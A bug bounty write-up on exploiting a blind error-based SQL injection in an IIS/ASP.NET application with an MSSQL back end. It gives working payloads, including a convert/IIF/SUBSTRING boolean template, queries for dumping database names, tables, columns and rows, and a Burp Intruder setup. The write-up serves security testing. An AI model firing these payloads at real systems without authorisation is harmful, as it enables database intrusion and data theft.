Turning Blind Error Based SQL Injection into Exploitable Boolean One

Ozgur Alp
5 min readNov 20, 2020

--

While I was recently hunting on a promising host target, from my well configured (only checking SQLi) active scan results, I found out a parameter could be vulnerable to SQL injection, within the payloads:

name='  -> Redirecting to /Error.aspx page
name='' -> Redirecting to /AccessDenied.aspx page

Within further manual analysis:

name='''    -> Redirecting to /Error.aspx page
name='''' -> Redirecting to /AccessDenied.aspx page
name=''''' -> Redirecting to /Error.aspx page
name='''''' -> Redirecting to /AccessDenied.aspx page

Meaning that having singular counted single quotes broking the SQL query on the back-end and plural counted ones not broking. What a promising one!

However, my further tests within both sqlmap tool and manual fuzzing with Burp Intruder Fuzzing — SQL injection payload list returned all payloads to Error.aspx page meaning that all simple payloads such as ' AND ‘1’=’1 or ';WAITFOR DELAY ‘0:0:5’-- broking the query , so it was seeming either not an exploitable one or a one which could be hard to exploit.

Within educated testing within my previous experiences, since application was running at IIS server & having “.aspx” extensions, I thought that the back-end database management system could also be Microsoft SQL Server, because most of the companies using those technologies also uses MSSQL (It is not a necessity but a common behavior.) I got back read my old accepted MSSQL injection reports and find out different payloads to play with. I though that since single quotes returning errors and fixes the error, I thought that if the error messages are displayed, then that could have been an Error Based SQL Injection. But since it was not returning errors with verbose, would it be a Blind Error Based SQL Injection?

For the ones who do not know, '+convert(int,db_name())+' payload returns db_name as an error if the parameter is vulnerable to Error Based SQLi on MSSQL DBMS. The payload tries to convert db_name to integer but since database name is string, it is not possible to conduct and request returns error within leaking database name. Lots of examples could be found on Google.

I started to play with this payload:

'+convert(int,db_name())+' -> Redirecting to /Error.aspx page
'+convert(char,db_name())+' -> Redirecting to /AccessDenied.aspx page

So instead of sending payload as char rather than integer, application was returning to AccessDenied page, which was perfect on my condition since it was a confirmation query is running successfully. But, what about data gathering?

While some of the programs restricts/forbids data gathering within SQL injection vulnerabilities, on the contrary, Synack encourages it for full payouts. So I tried different ways for gathering data. Out-of-band exploitation techniques didn’t worked due to probably internet access is limited on the web server. Also there was a limitation of 100 characters existing on the parameter which was broking the long queries. So, somehow I needed to turn this query into boolean or time based one.

Within further research, I found out that MSSQL has a IIF functionality, which could be used as SELECT IIF(1>2,"YES","NO"). If the first statement 1>2 is true, then it returns the first value which is “YES” in this case; if false, it returns the second value. So I thought that using this functionality inside convert function to make a boolean statement!

For the converting data types, I had lots of issues which I didn’t understand blindly and I was also a little bit lazy to setup my own MSSQL server at that moment. (SQLFiddle works well for this kind of cases but on that moment the application was unavailable too.) So after playing a little bit, I came with the payload:

'+convert(char,(SELECT IIF(SUBSTRING(DB_NAME(),1,1)='A',3,@@VERSION)))+' -> Redirecting to /AccessDenied.aspx

This query was working as this:

  • Sub-stringing the database name starting from 1st character within 1 length and comparing within ‘A’ character whether it equals or not.
  • If that character equals to ‘A’, then it returns 3 as integer.
  • Converting ‘3’ as integer to char is successful and returns without any errors, meaning that the query is true.
  • If the character does not equal to ‘A’, then it returns @@VERSION as T-SQL functionality.
  • Converting @@VERSION result to char is not successful and returns error (Error.aspx page), meaning that the query is false!

So on the Burp Intruder, within the attack type “Cluster Bomb” with payloads as:

With the payload sets #1 (Numbers with the length of DB_NAME):

And #2 (Characters from A-Z and 0–9 and some special characters such as “_”):

With grepping location header as:

I successfully gathered the current database name:

Some other additional payloads that might work for additional data dump on manual MSSQL injection:

Main query for Blind Error Based Injection: '%2bconvert(char,(SELECT IIF(SUBSTRING((***query_here***),1,1)='d',3,@@VERSION)))%2bQueries inside to the main query:-> select db_name() 
<- Returns current database name
-> select host_name()
<- Returns hostname
-> select top 1 table_name from INFORMATION_SCHEMA.tables
<- Returns the first table from Information Schema
-> select top 1 column_name from INFORMATION_SCHEMA.columns
<- Returns the first column from Information Schema
-> select ***column_name*** from ***table_name*** ORDER BY ***column_name*** OFFSET 2 ROW FETCH FIRST 1 ROW ONLY
<- Returns the data of the second row from selected column/table.

I hope you enjoyed reading! Stay safe.

--

--

Ozgur Alp
Ozgur Alp

Written by Ozgur Alp

Independent Bug Bounty Hunter & Offensive Security Consultant